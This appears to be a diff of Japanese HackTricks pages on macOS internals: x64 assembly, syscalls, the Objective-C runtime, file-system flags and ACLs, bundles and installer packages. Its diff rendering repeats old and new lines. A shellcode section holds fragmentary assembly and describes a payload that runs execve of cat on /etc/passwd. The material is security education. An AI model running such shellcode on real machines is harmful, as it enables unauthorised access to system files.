関数が6つ以上の入力を持つ場合、**残りはスタックに渡されます**。**RSP**、スタックポインタは**16バイトアライン**されている必要があり、これは呼び出しが行われる前に指すアドレスが16で割り切れる必要があることを意味します。通常、関数呼び出しを行う前にRSPが適切にアラインされていることを確認する必要があります。しかし、実際には、この要件が満たされていなくてもシステムコールは多くの場合機能します。 関数に6つ以上の入力がある場合、**残りはスタックに渡されます**。**RSP**、スタックポインタは**16バイトアライン**されている必要があり、これは呼び出しが行われる前に指すアドレスが16で割り切れる必要があることを意味します。通常、関数呼び出しを行う前にRSPが適切にアラインされていることを確認する必要があります。しかし、実際には、この要件が満たされていなくてもシステムコールは多くの場合機能します。
### Swiftにおける呼び出し規約 ### Swiftにおける呼び出し規約
@ -38,13 +38,13 @@ x64命令は豊富なセットを持ち、以前のx86命令との互換性を
- **`mov`**: ある**レジスタ**または**メモリ位置**から別の場所に値を**移動**します。 - **`mov`**: ある**レジスタ**または**メモリ位置**から別の場所に値を**移動**します。
- 例: `mov rax, rbx``rbx`から`rax`に値を移動します。 - 例: `mov rax, rbx``rbx`から`rax`に値を移動します。
- **`push`**と**`pop`**: スタックに値をプッシュまたはポップします。 - **`push`**および**`pop`**: **スタック**に値をプッシュまたはポップします。
- 例: `push rax``rax`の値をスタックにプッシュします。 - 例: `push rax``rax`の値をスタックにプッシュします。
- 例: `pop rax` — スタックの最上部の値を`rax`にポップします。 - 例: `pop rax` — スタックの最上部の値を`rax`にポップします。
- **`add`****`sub`**: **加算**および**減算**操作。 - **`add`**および**`sub`**: **加算**および**減算**操作。
- 例: `add rax, rcx``rax``rcx`の値を加算し、結果を`rax`に格納します。 - 例: `add rax, rcx``rax``rcx`の値を加算し、結果を`rax`に格納します。
- **`mul`****`div`**: **乗算**および**除算**操作。注意: これらはオペランドの使用に関して特定の動作を持ちます。 - **`mul`**および**`div`**: **乗算**および**除算**操作。注意: これらはオペランドの使用に関して特定の動作を持ちます。
- **`call`****`ret`**: 関数を**呼び出す**および**戻る**ために使用されます。 - **`call`**および**`ret`**: 関数を**呼び出す**および**戻る**ために使用されます。
- **`int`**: ソフトウェアの**割り込み**をトリガーするために使用されます。例: `int 0x80`は32ビットx86 Linuxでシステムコールに使用されました。 - **`int`**: ソフトウェアの**割り込み**をトリガーするために使用されます。例: `int 0x80`は32ビットx86 Linuxでシステムコールに使用されました。
- **`cmp`**: 2つの値を**比較**し、結果に基づいてCPUのフラグを設定します。 - **`cmp`**: 2つの値を**比較**し、結果に基づいてCPUのフラグを設定します。
- 例: `cmp rax, rdx``rax``rdx`と比較します。 - 例: `cmp rax, rdx``rax``rdx`と比較します。
@ -99,7 +99,7 @@ x64命令は豊富なセットを持ち、以前のx86命令との互換性を
したがって、open を呼び出すためのシステムコール番号は `0x2000005` です。 したがって、open を呼び出すためのシステムコール番号は `0x2000005` です。
### シェルコード ### Shellcodes
コンパイルするには: コンパイルするには:
```bash ```bash
@ -171,7 +171,7 @@ return 0;
[**こちら**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)から取得し、説明されています。 [**こちら**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s)から取得し、説明されています。
{{#tabs}} {{#tabs}}
{{#tab name="adrあり"}} {{#tab name="with adr"}}
```armasm ```armasm
bits 64 bits 64
global _main global _main
@ -209,7 +209,7 @@ syscall
#### catで読む #### catで読む
目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することであり、第二引数 (x1) はパラメータの配列です (これはメモリ内ではアドレスのスタックを意味します)。 目的は `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` を実行することであり、第二引数 (x1) はパラメータの配列です (メモリ内ではこれがアドレスのスタックを意味します)。
```armasm ```armasm
bits 64 bits 64
section .text section .text

View File

@ -66,15 +66,15 @@ ObjectiveCランタイムによって使用されるデータのほとんどは
- **`__objc_superrefs`** (`Class`): スーパークラス参照 - **`__objc_superrefs`** (`Class`): スーパークラス参照
- **`__objc_protorefs`** (`protocol_t *`): プロトコル参照 - **`__objc_protorefs`** (`protocol_t *`): プロトコル参照
- **`__objc_selrefs`** (`SEL`): セレクタ参照 - **`__objc_selrefs`** (`SEL`): セレクタ参照
- **`__objc_const`** (`...`): クラスの`r/o`データおよびその他(おそらく)定数データ - **`__objc_const`** (`...`): クラスの`r/o`データおよびその他(おそらく)定数データ
- **`__objc_imageinfo`** (`version, flags`): 画像のロード中に使用される: 現在のバージョン`0`; フラグは最適化されたGCサポートなどを指定します。 - **`__objc_imageinfo`** (`version, flags`): 画像のロード中に使用されます:現在のバージョンは`0`フラグは最適化されたGCサポートなどを指定します。
- **`__objc_protolist`** (`protocol_t *`): プロトコルリスト - **`__objc_protolist`** (`protocol_t *`): プロトコルリスト
- **`__objc_nlcatlist`** (`category_t`): このバイナリで定義された非遅延カテゴリへのポインタ - **`__objc_nlcatlist`** (`category_t`): このバイナリで定義された非遅延カテゴリへのポインタ
- **`__objc_catlist`** (`category_t`): このバイナリで定義されたカテゴリへのポインタ - **`__objc_catlist`** (`category_t`): このバイナリで定義されたカテゴリへのポインタ
- **`__objc_nlclslist`** (`classref_t`): このバイナリで定義された非遅延Objective-Cクラスへのポインタ - **`__objc_nlclslist`** (`classref_t`): このバイナリで定義された非遅延Objective-Cクラスへのポインタ
- **`__objc_classlist`** (`classref_t`): このバイナリで定義されたすべてのObjective-Cクラスへのポインタ - **`__objc_classlist`** (`classref_t`): このバイナリで定義されたすべてのObjective-Cクラスへのポインタ
また、書き込みが不可能な場合に定数値を格納するために**`__TEXT`**セグメントのいくつかのセクションも使用します: また、定数値を格納するために**`__TEXT`**セグメントのいくつかのセクションも使用します。このセクションに書き込むことができない場合
- **`__objc_methname`** (C-String): メソッド名 - **`__objc_methname`** (C-String): メソッド名
- **`__objc_classname`** (C-String): クラス名 - **`__objc_classname`** (C-String): クラス名
@ -82,10 +82,10 @@ ObjectiveCランタイムによって使用されるデータのほとんどは
### タイプエンコーディング ### タイプエンコーディング
Objective-Cは、セレクタと変数の型を単純および複雑な型でエンコードするためにいくつかのマングリングを使用します: Objective-Cは、セレクタと変数の型を単純および複雑な型でエンコードするためにいくつかのマングリングを使用します
- プリミティブ型は、型の最初の文字を使用します。`i``int``c``char``l``long`... そして符号なしの場合は大文字を使用します(`L``unsigned Long`)。 - プリミティブ型は、型の最初の文字を使用します。`i``int``c``char``l``long`... そして符号なしの場合は大文字を使用します(`L``unsigned Long`)。
- 他のデータ型の文字が使用されているか特別な場合は、`q``long long``b``bitfields``B``booleans``#``classes``@``id``*``char pointers``^`は一般的な`pointers``?``undefined`のように他の文字や記号を使用します。 - 他のデータ型の文字が使用されているか特別な場合は、`q``long long``b``bitfields``B``booleans``#``classes``@``id``*``char pointers``^`は一般的な`pointers``?``undefined`のように他の文字や記号を使用します。
- 配列、構造体、共用体は`[``{``(`を使用します。 - 配列、構造体、共用体は`[``{``(`を使用します。
#### 例 メソッド宣言 #### 例 メソッド宣言
@ -96,10 +96,10 @@ Objective-Cは、セレクタと変数の型を単純および複雑な型でエ
#### タイプエンコーディング #### タイプエンコーディング
- `id``@` としてエンコードされます - `id``@` としてエンコードされます
- `char *``*` としてエンコードされます - `char *``*` としてエンコードされます
メソッドの完全なタイプエンコーディングは: メソッドの完全なタイプエンコーディングは
```less ```less
@24@0:8@16*20^@24 @24@0:8@16*20^@24
``` ```
@ -112,11 +112,11 @@ Objective-Cは、セレクタと変数の型を単純および複雑な型でエ
5. **2 番目の引数 (`NSDictionary * options`)**: `@` でエンコードされ、オフセット 20 5. **2 番目の引数 (`NSDictionary * options`)**: `@` でエンコードされ、オフセット 20
6. **3 番目の引数 (`NSError ** error`)**: `^@` でエンコードされ、オフセット 24 6. **3 番目の引数 (`NSError ** error`)**: `^@` でエンコードされ、オフセット 24
**セレクタとエンコーディングを使うことで、メソッドを再構築できます。** **セレクタとエンコーディングを使ってメソッドを再構築できます。**
### **クラス** ### **クラス**
Objective-C のクラスは、プロパティやメソッドポインタを持つ構造体です。構造体 `objc_class` を見つけることができます [**ソースコード**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): Objective-C のクラスはプロパティ、メソッドポインタを持つ構造体です... 構造体 `objc_class` [**ソースコード**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) で見つけることができます:
```objectivec ```objectivec
struct objc_class : objc_object { struct objc_class : objc_object {
// Class ISA; // Class ISA;
@ -140,6 +140,6 @@ data()->setFlags(set);
このクラスは、クラスに関する情報を示すためにisaフィールドのいくつかのビットを使用します。 このクラスは、クラスに関する情報を示すためにisaフィールドのいくつかのビットを使用します。
次に、構造体はディスクに保存された`class_ro_t`構造体へのポインタを持ち、クラスの名前、基本メソッド、プロパティ、およびインスタンス変数などの属性を含みます。\ 次に、構造体はディスクに保存された`class_ro_t`構造体へのポインタを持ち、クラスの名前、基本メソッド、プロパティ、およびインスタンス変数などの属性を含みます。\
ランタイム中に、メソッド、プロトコル、プロパティなどの変更可能なポインタを含む追加の構造体`class_rw_t`が使用されます。 実行時には、メソッド、プロトコル、プロパティなどの変更可能なポインタを含む追加の構造体`class_rw_t`が使用されます。
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -25,7 +25,7 @@
- **システムアプリケーション**は`/System/Applications`にあります。 - **システムアプリケーション**は`/System/Applications`にあります。
- **インストールされた**アプリケーションは通常`/Applications`または`~/Applications`にインストールされます。 - **インストールされた**アプリケーションは通常`/Applications`または`~/Applications`にインストールされます。
- **アプリケーションデータ**は、rootとして実行されるアプリケーションのために`/Library/Application Support`に、ユーザーとして実行されるアプリケーションのために`~/Library/Application Support`にあります。 - **アプリケーションデータ**は、rootとして実行されるアプリケーションのために`/Library/Application Support`に、ユーザーとして実行されるアプリケーションのために`~/Library/Application Support`にあります。
- サードパーティアプリケーションの**デーモン**は、通常`/Library/PrivilegedHelperTools/`にあります。 - サードパーティアプリケーションの**デーモン**は、通常`/Library/PrivilegedHelperTools/`にあります。
- **サンドボックス化された**アプリは`~/Library/Containers`フォルダーにマッピングされます。各アプリにはアプリケーションのバンドルID`com.apple.Safari`)に従った名前のフォルダーがあります。 - **サンドボックス化された**アプリは`~/Library/Containers`フォルダーにマッピングされます。各アプリにはアプリケーションのバンドルID`com.apple.Safari`)に従った名前のフォルダーがあります。
- **カーネル**は`/System/Library/Kernels/kernel`にあります。 - **カーネル**は`/System/Library/Kernels/kernel`にあります。
- **Appleのカーネル拡張**は`/System/Library/Extensions`にあります。 - **Appleのカーネル拡張**は`/System/Library/Extensions`にあります。
@ -56,7 +56,7 @@ macos-installers-abuse.md
- `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` - `plutil -p ~/Library/Preferences/com.apple.screensaver.plist`
- `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` - `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -`
- `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -`
- **`.app`**: ディレクトリ構造に従Appleアプリケーションバンドルです - **`.app`**: ディレクトリ構造に従ったAppleアプリケーションバンドルです
- **`.dylib`**: 動的ライブラリWindows DLLファイルのようなもの - **`.dylib`**: 動的ライブラリWindows DLLファイルのようなもの
- **`.pkg`**: xareXtensible Archive formatと同じです。インストーラーコマンドを使用してこれらのファイルの内容をインストールできます。 - **`.pkg`**: xareXtensible Archive formatと同じです。インストーラーコマンドを使用してこれらのファイルの内容をインストールできます。
- **`.DS_Store`**: このファイルは各ディレクトリにあり、ディレクトリの属性とカスタマイズを保存します。 - **`.DS_Store`**: このファイルは各ディレクトリにあり、ディレクトリの属性とカスタマイズを保存します。
@ -80,7 +80,7 @@ macOSおよびiOSでは、すべてのシステム共有ライブラリ、
これはmacOSの`/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`にあり、古いバージョンでは**`/System/Library/dyld/`**に**共有キャッシュ**が見つかるかもしれません。\ これはmacOSの`/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/`にあり、古いバージョンでは**`/System/Library/dyld/`**に**共有キャッシュ**が見つかるかもしれません。\
iOSでは**`/System/Library/Caches/com.apple.dyld/`**にあります。 iOSでは**`/System/Library/Caches/com.apple.dyld/`**にあります。
dyld共有キャッシュと同様に、カーネルとカーネル拡張もカーネルキャッシュにコンパイルされ、ブート時に読み込まれます。 dyld共有キャッシュと同様に、カーネルとカーネル拡張もカーネルキャッシュにコンパイルされ、ブート時にロードされます。
単一ファイルのdylib共有キャッシュからライブラリを抽出するために、バイナリの[dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip)を使用することが可能でしたが、現在は機能しないかもしれませんが、[**dyldextractor**](https://github.com/arandomdev/dyldextractor)を使用することもできます: 単一ファイルのdylib共有キャッシュからライブラリを抽出するために、バイナリの[dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip)を使用することが可能でしたが、現在は機能しないかもしれませんが、[**dyldextractor**](https://github.com/arandomdev/dyldextractor)を使用することもできます:
```bash ```bash
@ -121,20 +121,20 @@ SLC が最初の使用時にスライドしても、すべての **プロセス*
### フォルダの権限 ### フォルダの権限
**フォルダ**内の **読み取り****リスト** を許可し、**書き込み** はその中のファイルを **削除** および **書き込む** ことを許可し、**実行** はディレクトリを **横断** することを許可します。したがって、たとえば、**実行権限がない**ディレクトリ内のファイルに対して **読み取り権限を持つユーザー** は、そのファイルを **読み取ることができません** **フォルダ**内の **読み取り****リスト** を許可し、**書き込み** は **削除****書き込み** を許可し、**実行** は **ディレクトリを横断** することを許可します。したがって、たとえば、**実行権限がない**ディレクトリ内のファイルに対して **読み取り権限を持つユーザー** は、そのファイルを **読み取ることができません**
### フラグ修飾子 ### フラグ修飾子
ファイルに設定できるフラグがいくつかあり、ファイルの動作を異なるものにします。ディレクトリ内のファイルの **フラグを確認** するには `ls -lO /path/directory` を使用します。 ファイルに設定できるフラグがいくつかあり、ファイルの動作を異なるものにします。ディレクトリ内のファイルの **フラグを確認** するには `ls -lO /path/directory` を使用します。
- **`uchg`**: **uchange** フラグとして知られ、**ファイル**の変更や削除を **防止します**。設定するには: `chflags uchg file.txt` - **`uchg`**: **uchange** フラグとして知られ、**ファイル**の変更や削除を **防止** します。設定するには: `chflags uchg file.txt`
- ルートユーザーは **フラグを削除** し、ファイルを変更できます。 - ルートユーザーは **フラグを削除** し、ファイルを変更できます。
- **`restricted`**: このフラグはファイルを **SIP によって保護** します(このフラグをファイルに追加することはできません)。 - **`restricted`**: このフラグはファイルを **SIP によって保護** します(このフラグをファイルに追加することはできません)。
- **`Sticky bit`**: スティッキービットを持つディレクトリでは、**ディレクトリの所有者またはルートのみがファイルを名前変更または削除**できます。通常、これは /tmp ディレクトリに設定され、通常のユーザーが他のユーザーのファイルを削除または移動するのを防ぎます。 - **`Sticky bit`**: スティッキービットが設定されたディレクトリでは、**ディレクトリの所有者またはルートのみがファイルを名前変更または削除**できます。通常、これは /tmp ディレクトリに設定され、通常のユーザーが他のユーザーのファイルを削除または移動するのを防ぎます。
すべてのフラグはファイル `sys/stat.h` に見つけることができ(`mdfind stat.h | grep stat.h` を使用して見つけます)、次のようになります: すべてのフラグはファイル `sys/stat.h` に見つけることができ(`mdfind stat.h | grep stat.h` を使用して見つけます)、次のようになります:
- `UF_SETTABLE` 0x0000ffff: 所有者変更可能フラグのマスク。 - `UF_SETTABLE` 0x0000ffff: 所有者変更可能フラグのマスク。
- `UF_NODUMP` 0x00000001: ファイルをダンプしない。 - `UF_NODUMP` 0x00000001: ファイルをダンプしない。
- `UF_IMMUTABLE` 0x00000002: ファイルは変更できません。 - `UF_IMMUTABLE` 0x00000002: ファイルは変更できません。
- `UF_APPEND` 0x00000004: ファイルへの書き込みは追加のみ可能です。 - `UF_APPEND` 0x00000004: ファイルへの書き込みは追加のみ可能です。
@ -143,9 +143,9 @@ SLC が最初の使用時にスライドしても、すべての **プロセス*
- `UF_TRACKED` 0x00000040: この設定があるファイルの削除/名前変更に対する通知はありません。 - `UF_TRACKED` 0x00000040: この設定があるファイルの削除/名前変更に対する通知はありません。
- `UF_DATAVAULT` 0x00000080: 読み取りおよび書き込みには権限が必要です。 - `UF_DATAVAULT` 0x00000080: 読み取りおよび書き込みには権限が必要です。
- `UF_HIDDEN` 0x00008000: このアイテムは GUI に表示されるべきではないというヒント。 - `UF_HIDDEN` 0x00008000: このアイテムは GUI に表示されるべきではないというヒント。
- `SF_SUPPORTED` 0x009f0000: スーパーユーザーサポートするフラグのマスク。 - `SF_SUPPORTED` 0x009f0000: スーパーユーザーサポートフラグのマスク。
- `SF_SETTABLE` 0x3fff0000: スーパーユーザー変更可能フラグのマスク。 - `SF_SETTABLE` 0x3fff0000: スーパーユーザー変更可能フラグのマスク。
- `SF_SYNTHETIC` 0xc0000000: システム読み取り専用合成フラグのマスク。 - `SF_SYNTHETIC` 0xc0000000: システム読み取り専用合成フラグのマスク。
- `SF_ARCHIVED` 0x00010000: ファイルはアーカイブされています。 - `SF_ARCHIVED` 0x00010000: ファイルはアーカイブされています。
- `SF_IMMUTABLE` 0x00020000: ファイルは変更できません。 - `SF_IMMUTABLE` 0x00020000: ファイルは変更できません。
- `SF_APPEND` 0x00040000: ファイルへの書き込みは追加のみ可能です。 - `SF_APPEND` 0x00040000: ファイルへの書き込みは追加のみ可能です。
@ -159,7 +159,7 @@ SLC が最初の使用時にスライドしても、すべての **プロセス*
ファイル **ACLs** には **ACE** (アクセス制御エントリ) が含まれており、異なるユーザーに対してより **詳細な権限** を割り当てることができます。 ファイル **ACLs** には **ACE** (アクセス制御エントリ) が含まれており、異なるユーザーに対してより **詳細な権限** を割り当てることができます。
**ディレクトリ** に次の権限を付与することが可能です: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`。\ **ディレクトリ** に次の権限を付与することが可能です: `list`, `search`, `add_file`, `add_subdirectory`, `delete_child`, `delete_child`。\
ファイルに対しては: `read`, `write`, `append`, `execute` ファイルには: `read`, `write`, `append`, `execute`
ファイルに ACLs が含まれている場合、権限をリスト表示すると **"+" が表示されます** ファイルに ACLs が含まれている場合、権限をリスト表示すると **"+" が表示されます**
```bash ```bash
@ -172,7 +172,7 @@ ls -lde Movies
drwx------+ 7 username staff 224 15 Apr 19:42 Movies drwx------+ 7 username staff 224 15 Apr 19:42 Movies
0: group:everyone deny delete 0: group:everyone deny delete
``` ```
すべてのACLを持つ**ファイルを見つけることができます**(これは非常に遅いです): すべてのACLを持つ**ファイルを見つける**には(これは非常に遅いです):
```bash ```bash
ls -RAle / 2>/dev/null | grep -E -B1 "\d: " ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
``` ```
@ -189,14 +189,14 @@ ls -RAle / 2>/dev/null | grep -E -B1 "\d: "
- `com.apple.logd.metadata`: `/var/db/diagnostics`内のファイルでlogdによって使用される - `com.apple.logd.metadata`: `/var/db/diagnostics`内のファイルでlogdによって使用される
- `com.apple.genstore.*`: 世代ストレージ(ファイルシステムのルートにある`/.DocumentRevisions-V100` - `com.apple.genstore.*`: 世代ストレージ(ファイルシステムのルートにある`/.DocumentRevisions-V100`
- `com.apple.rootless`: MacOS: システム整合性保護によってファイルにラベル付けされる (III/10) - `com.apple.rootless`: MacOS: システム整合性保護によってファイルにラベル付けされる (III/10)
- `com.apple.uuidb.boot-uuid`: 一意のUUIDを持つブートエポックのlogdマーク - `com.apple.uuidb.boot-uuid`: ユニークUUIDを持つブートエポックのlogdマーク
- `com.apple.decmpfs`: MacOS: 透過的ファイル圧縮 (II/7) - `com.apple.decmpfs`: MacOS: 透過的ファイル圧縮 (II/7)
- `com.apple.cprotect`: \*OS: ファイルごとの暗号化データ (III/11) - `com.apple.cprotect`: \*OS: ファイルごとの暗号化データ (III/11)
- `com.apple.installd.*`: \*OS: installdによって使用されるメタデータ`installType``uniqueInstallID` - `com.apple.installd.*`: \*OS: installdによって使用されるメタデータ`installType``uniqueInstallID`
### リソースフォーク | macOS ADS ### リソースフォーク | macOS ADS
これは**MacOS代替データストリーム**を取得する方法です。**file/..namedfork/rsrc**内の拡張属性**com.apple.ResourceFork**にコンテンツを保存することができます。 これは**MacOSにおける代替データストリーム**を取得する方法です。**file/..namedfork/rsrc**内の拡張属性**com.apple.ResourceFork**にコンテンツを保存することができます。
```bash ```bash
echo "Hello" > a.txt echo "Hello" > a.txt
echo "Hello Mac ADS" > a.txt/..namedfork/rsrc echo "Hello Mac ADS" > a.txt/..namedfork/rsrc
@ -207,7 +207,7 @@ com.apple.ResourceFork: Hello Mac ADS
ls -l a.txt #The file length is still q ls -l a.txt #The file length is still q
-rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt -rw-r--r--@ 1 username wheel 6 17 Jul 01:15 a.txt
``` ```
この拡張属性を含むすべてのファイル**見つけることができます**: この拡張属性を含むすべてのファイルは、次のコマンドで**見つけることができます**:
```bash ```bash
find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork" find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; printf "\n"}' | xargs -I {} xattr -lv {} | grep "com.apple.ResourceFork"
``` ```
@ -215,43 +215,43 @@ find / -type f -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf
拡張属性 `com.apple.decmpfs` は、ファイルが暗号化されて保存されていることを示します。`ls -l`**サイズが0** であると報告し、圧縮データはこの属性内にあります。ファイルにアクセスされるたびに、メモリ内で復号化されます。 拡張属性 `com.apple.decmpfs` は、ファイルが暗号化されて保存されていることを示します。`ls -l`**サイズが0** であると報告し、圧縮データはこの属性内にあります。ファイルにアクセスされるたびに、メモリ内で復号化されます。
この属性は `ls -lO`圧縮されたものとして表示され、圧縮ファイルにはフラグ `UF_COMPRESSED` が付けられています。圧縮ファイルが `chflags nocompressed </path/to/file>`このフラグを削除されると、システムはそのファイルが圧縮されていたことを認識せず、したがってデータを解凍してアクセスすることができません(実際には空であると考えます)。 この属性は `ls -lO`確認でき、圧縮されたファイルはフラグ `UF_COMPRESSED` でタグ付けされているため、圧縮されていることが示されます。圧縮ファイルが `chflags nocompressed </path/to/file>` で削除されると、システムはそのファイルが圧縮されていたことを認識せず、したがってデータを解凍してアクセスすることができません(実際には空であると考えます)。
ツール afscexpand を使用してファイルを強制的に解凍できます。 ツール afscexpand を使用してファイルを強制的に解凍することができます。
## **Universal binaries &** Mach-o Format ## **ユニバーサルバイナリ &** Mach-oフォーマット
Mac OS のバイナリは通常 **ユニバーサルバイナリ** としてコンパイルされます。**ユニバーサルバイナリ** は **同じファイル内で複数のアーキテクチャをサポートできます** Mac OSのバイナリは通常、**ユニバーサルバイナリ**としてコンパイルされます。**ユニバーサルバイナリ**は、**同じファイル内で複数のアーキテクチャをサポートすることができます**。
{{#ref}} {{#ref}}
universal-binaries-and-mach-o-format.md universal-binaries-and-mach-o-format.md
{{#endref}} {{#endref}}
## macOS Process Memory ## macOSプロセスメモリ
## macOS memory dumping ## macOSメモリダンプ
{{#ref}} {{#ref}}
macos-memory-dumping.md macos-memory-dumping.md
{{#endref}} {{#endref}}
## Risk Category Files Mac OS ## リスクカテゴリファイル Mac OS
ディレクトリ `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` には、**異なるファイル拡張子に関連するリスクに関する情報が保存されています**。このディレクトリはファイルをさまざまなリスクレベルに分類し、Safari がこれらのファイルをダウンロード時にどのように処理するかに影響を与えます。カテゴリは次のとおりです: ディレクトリ `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` には、**異なるファイル拡張子に関連するリスクに関する情報が保存されています**。このディレクトリはファイルをさまざまなリスクレベルに分類し、Safariがこれらのファイルをダウンロード時にどのように扱うかに影響を与えます。カテゴリは次のとおりです:
- **LSRiskCategorySafe**: このカテゴリのファイルは **完全に安全** と見なされます。Safari はこれらのファイルをダウンロード後に自動的に開きます。 - **LSRiskCategorySafe**: このカテゴリのファイルは **完全に安全** と見なされます。Safariはこれらのファイルをダウンロード後に自動的に開きます。
- **LSRiskCategoryNeutral**: これらのファイルには警告がなく、Safari によって **自動的に開かれません** - **LSRiskCategoryNeutral**: これらのファイルには警告がなく、Safariによって **自動的に開かれません**
- **LSRiskCategoryUnsafeExecutable**: このカテゴリのファイルは **警告を引き起こします**。これは、そのファイルがアプリケーションであることを示すセキュリティ対策です。 - **LSRiskCategoryUnsafeExecutable**: このカテゴリのファイルは **警告を引き起こします**。これは、そのファイルがアプリケーションであることを示すセキュリティ対策です。
- **LSRiskCategoryMayContainUnsafeExecutable**: このカテゴリは、実行可能ファイルを含む可能性のあるアーカイブなどのファイル用です。Safari は、すべての内容が安全または中立であることを確認できない限り、**警告を引き起こします**。 - **LSRiskCategoryMayContainUnsafeExecutable**: このカテゴリは、実行可能ファイルを含む可能性のあるアーカイブなどのファイルに適用されます。Safariは、すべての内容が安全または中立であることを確認できない限り、**警告を引き起こします**。
## Log files ## ログファイル
- **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: ダウンロードされたファイルに関する情報を含み、どこからダウンロードされたかのURLが含まれています。 - **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: ダウンロードされたファイルに関する情報を含み、どこからダウンロードされたかのURLが含まれています。
- **`/var/log/system.log`**: OSX システムのメインログ。com.apple.syslogd.plist syslogging の実行を担当しています(`launchctl list` で "com.apple.syslogd" を探すことで無効になっているか確認できます)。 - **`/var/log/system.log`**: OSXシステムのメインログ。com.apple.syslogd.plistはsysloggingの実行を担当しています`launchctl list`で "com.apple.syslogd" を探すことで無効になっているか確認できます)。
- **`/private/var/log/asl/*.asl`**: これらは Apple システムログで、興味深い情報が含まれている可能性があります。 - **`/private/var/log/asl/*.asl`**: これらはAppleシステムログで、興味深い情報が含まれている可能性があります。
- **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder" を通じて最近アクセスされたファイルとアプリケーションを保存します。 - **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: "Finder"を通じて最近アクセスされたファイルとアプリケーションを保存します。
- **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: システム起動時に起動するアイテムを保存します。 - **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: システム起動時に起動するアイテムを保存します。
- **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtility アプリのログファイルドライブに関する情報、USBを含む - **`$HOME/Library/Logs/DiskUtility.log`**: DiskUtilityアプリのログファイルドライブに関する情報、USBを含む
- **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: ワイヤレスアクセスポイントに関するデータ。 - **`/Library/Preferences/SystemConfiguration/com.apple.airport.preferences.plist`**: ワイヤレスアクセスポイントに関するデータ。
- **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 無効化されたデーモンのリスト。 - **`/private/var/db/launchd.db/com.apple.launchd/overrides.plist`**: 無効化されたデーモンのリスト。

View File

@ -21,7 +21,7 @@ macOSのバンドルは、アプリケーション、ライブラリ、その他
- **CFBundleExecutable**: `Contents/MacOS`ディレクトリにある主要な実行可能ファイルの名前を指定します。 - **CFBundleExecutable**: `Contents/MacOS`ディレクトリにある主要な実行可能ファイルの名前を指定します。
- **CFBundleIdentifier**: アプリケーションのグローバル識別子を提供し、macOSによるアプリケーション管理で広く使用されます。 - **CFBundleIdentifier**: アプリケーションのグローバル識別子を提供し、macOSによるアプリケーション管理で広く使用されます。
- **LSMinimumSystemVersion**: アプリケーションが実行されるために必要なmacOSの最小バージョンを示します。 - **LSMinimumSystemVersion**: アプリケーションを実行するために必要なmacOSの最小バージョンを示します。
### バンドルの探索 ### バンドルの探索
@ -37,7 +37,7 @@ macOSのバンドルは、アプリケーション、ライブラリ、その他
- **PlugIns**: アプリケーションの機能を強化するプラグインや拡張のためのディレクトリです。 - **PlugIns**: アプリケーションの機能を強化するプラグインや拡張のためのディレクトリです。
- **XPCServices**: アプリケーションがプロセス外通信のために使用するXPCサービスを保持します。 - **XPCServices**: アプリケーションがプロセス外通信のために使用するXPCサービスを保持します。
この構造により、すべての必要なコンポーネントがバンドル内にカプセル化され、モジュール式で安全なアプリケーション環境が促進されます。 この構造により、すべての必要なコンポーネントがバンドル内にカプセル化され、モジューで安全なアプリケーション環境が促進されます。
`Info.plist`キーとその意味に関する詳細情報については、Appleの開発者ドキュメントが豊富なリソースを提供しています [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html)。 `Info.plist`キーとその意味に関する詳細情報については、Appleの開発者ドキュメントが豊富なリソースを提供しています [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html)。

View File

@ -4,9 +4,9 @@
## Pkg 基本情報 ## Pkg 基本情報
macOS **インストーラーパッケージ**.pkgファイルとも呼ばれるは、macOSが**ソフトウェアを配布するために使用するファイル形式**です。これらのファイルは、ソフトウェアが正しくインストールおよび実行するために必要なすべてを含む**箱のようなもの**です。 macOS **インストーラーパッケージ**.pkgファイルとも呼ばれるは、macOSが**ソフトウェアを配布するために使用するファイル形式**です。これらのファイルは、**ソフトウェアが正しくインストールおよび実行するために必要なすべてを含む箱のようなもの**です。
